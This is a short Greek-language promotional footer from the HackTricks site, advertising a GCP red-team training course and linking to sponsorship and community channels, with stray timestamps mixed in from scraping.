Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Υποστήριξη HackTricks</summary>
2024-01-01 17:15:42 +00:00
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}